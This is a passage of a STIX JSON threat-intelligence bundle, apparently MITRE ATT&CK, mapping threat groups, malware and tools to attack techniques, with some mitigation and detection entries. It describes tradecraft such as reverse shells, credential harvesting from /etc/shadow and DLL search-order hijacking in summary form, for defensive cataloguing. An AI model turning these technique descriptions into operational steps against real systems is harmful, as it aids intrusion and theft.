2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--380db9ad-f6ad-4988-8a28-b773313f07b7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-20T02:22:13.351Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of spawning a reverse shell on a victim.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3811b12a-fcfc-47d2-83ec-89df60ca4c21","type":"relationship","created":"2020-06-24T15:36:00.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T15:36:00.917Z","description":"[BBK](https://attack.mitre.org/software/S0470) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3815ee11-af3f-48ae-b5b4-d0a0b2aa4d01","type":"relationship","created":"2020-01-30T14:11:41.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-21T19:01:24.777Z","description":"Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3819b66b-51e4-440d-93cf-12e8b6892e3e","type":"relationship","created":"2020-03-02T19:15:44.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T19:15:44.284Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--381a628b-5401-43d0-853a-c2b0dbce83c3","created":"2022-09-27T16:36:57.844Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:36:57.844Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used a custom collection method to intercept two-factor authentication soft tokens.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3822f934-0b93-417b-bb1d-06218d51922e","type":"relationship","created":"2020-03-25T15:46:35.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub LaZagne Dec 2018","url":"https://github.com/AlessandroZ/LaZagne","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."}],"modified":"2020-03-25T15:46:35.721Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credential information from /etc/shadow using the shadow.py module.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38230234-1111-41cf-aa6b-b107577dad61","created":"2022-04-10T18:39:28.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"},{"source_name":"CrowdStrike AQUATIC PANDA December 2021","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:32:00.049Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used DLL search-order hijacking to load `exe`, `dll`, and `dat` files into memory.(Citation: CrowdStrike AQUATIC PANDA December 2021) [Aquatic Panda](https://attack.mitre.org/groups/G0143) loaded a malicious DLL into the legitimate Windows Security Health Service executable (SecurityHealthService.exe) to execute malicious code on victim systems.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38248217-7c11-4ae9-a13e-7296dead0df8","type":"relationship","created":"2019-01-29T18:44:04.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}],"modified":"2020-03-18T19:25:30.170Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the timestamp from the victim’s machine.(Citation: DigiTrust Agent Tesla Jan 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--382ab873-523f-4455-b3c5-74d81b4fc57b","type":"relationship","created":"2021-03-05T18:54:56.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.525Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) exfiltrated data over its C2 channel.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--382b8780-edc3-477f-a7fa-3e6ba62397a2","type":"relationship","created":"2019-03-26T19:23:02.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Banking Malware Jan 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."},{"source_name":"Kaspersky Emotet Jan 2019","url":"https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/","description":"Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019."},{"source_name":"CIS Emotet Apr 2017","url":"https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/","description":"CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."},{"source_name":"Malwarebytes Emotet Dec 2017","url":"https://support.malwarebytes.com/docs/DOC-2295","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."},{"source_name":"Symantec Emotet Jul 2018","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."},{"source_name":"US-CERT Emotet Jul 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."},{"source_name":"Talos Emotet Jan 2019","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."},{"source_name":"Talos Emotet Jan 2019","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."},{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."}],"modified":"2019-06-28T15:25:29.858Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing links. (Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Talos Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--382d78e9-c653-4d0d-aab6-c154152f6f1c","created":"2022-06-02T13:29:09.437Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) can search a compromised host to determine if it is running Windows Defender or Kasperky antivirus.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T13:29:09.437Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--382e04c1-aa23-4e52-a254-06e45ca8edfd","created":"2020-12-29T16:20:59.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:58:20.133Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) uses a driver registered as a boot start service as the main load-point.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3832d04e-41aa-456d-8104-b0a1fa2c12bb","created":"2023-08-17T18:16:23.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.056Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used `rundll32.exe` to execute malware on a compromised network.(Citation: Mandiant FIN7 Apr 2022) ","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--383301a1-1cf9-4a74-ab22-2ed1a8c2a42b","type":"relationship","created":"2019-04-17T13:46:38.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","source_name":"Cybereason Astaroth Feb 2019"},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.941Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code. (Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3837e91f-47d5-4b30-b11b-76a91450c4ef","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-20T00:00:19.229Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--383a50af-eeeb-40e5-b4df-8a1a9c5baa69","created":"2020-05-13T19:39:41.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky MoleRATs April 2019","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:41:15.597Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has delivered compressed executables within ZIP files to victims.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--383eccfd-da19-4b2e-9e9c-0e36c876c2ee","type":"relationship","created":"2021-01-25T13:58:25.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.838Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) has used cmd.exe to add a persistent service.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38401cd8-3fe6-42a2-9f08-dce063afd894","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, such as Windows EID 4769 or 4768, that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38416e2a-3590-4827-9a6f-d8f1df6568af","type":"relationship","created":"2019-01-30T15:33:07.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.225Z","description":"[APT1](https://attack.mitre.org/groups/G0006) gathered a list of running processes on the system using tasklist /v.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38419f2f-51d2-47ed-9fd9-bba3712474cc","type":"relationship","created":"2019-01-30T17:48:35.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.279Z","description":"[zwShell](https://attack.mitre.org/software/S0350) has used SchTasks for execution.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3843a4eb-cf3b-4cf9-91db-5a481ce3f32d","type":"relationship","created":"2022-03-26T03:47:59.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:59.083Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports SSL encrypted C2.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--38467bd5-4afc-4c64-b8c0-8c7140ac9e58","created":"2021-12-27T16:53:13.985Z","x_mitre_version":"1.0","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used a weaponized Microsoft Word document with an embedded RTF exploit.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--38481000-2a88-4768-98a3-aab3c747a6d6","created":"2024-07-26T17:54:15.810Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-26T17:54:15.810Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) is linked to the use and potentially development of [MacMa](https://attack.mitre.org/software/S1016) through overlapping command and control infrastructure and shared libraries with other unique tools.(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38482de7-5eb7-4baf-9007-2e1a6efe9622","type":"relationship","created":"2020-03-09T13:17:39.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction","description":"Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.","source_name":"Microsoft ASR Nov 2017"},{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"}],"modified":"2022-02-22T13:22:30.481Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.(Citation: Microsoft ASR Nov 2017)(Citation: Enigma Reviving DDE Jan 2018)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--384b6787-f69b-4d81-bc5e-c01a5c5b026e","created":"2021-12-27T19:19:42.717Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can collect compromised host information, including OS version, PC name, RAM size, and CPU details.(Citation: Check Point Warzone Feb 